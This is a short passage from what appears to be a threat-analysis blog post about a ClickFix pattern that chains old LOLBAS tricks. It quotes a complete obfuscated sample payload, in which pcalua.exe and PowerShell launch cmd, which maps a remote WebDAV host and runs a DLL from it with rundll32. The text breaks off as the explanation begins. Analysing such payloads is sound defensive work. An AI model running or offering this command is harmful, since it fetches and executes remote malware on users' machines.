Last Updated: 2026-07-13T21:27:45Z (UTC) What’s Happening I’ve encountered a new (to me) ClickFix pattern utilizing some very old LOLBAS tricks. I’ve seen these before, but never quite in this combination. Here’s a sample payload: pcalua.exe -a "powershell.exe" -c "saps cmd '/v/c set a=pu&set b=shd&set c=run&set d=dll32&for %x in (!a!!b!) do @%x \\prkheekt.site-shartbandi-farsi[.]com@SSL\039a0a6a-6374-4952-9081-d891daefec4d & !c!!d! gc.key,#1' -WI MIn" There’s a lot going on here. First, th...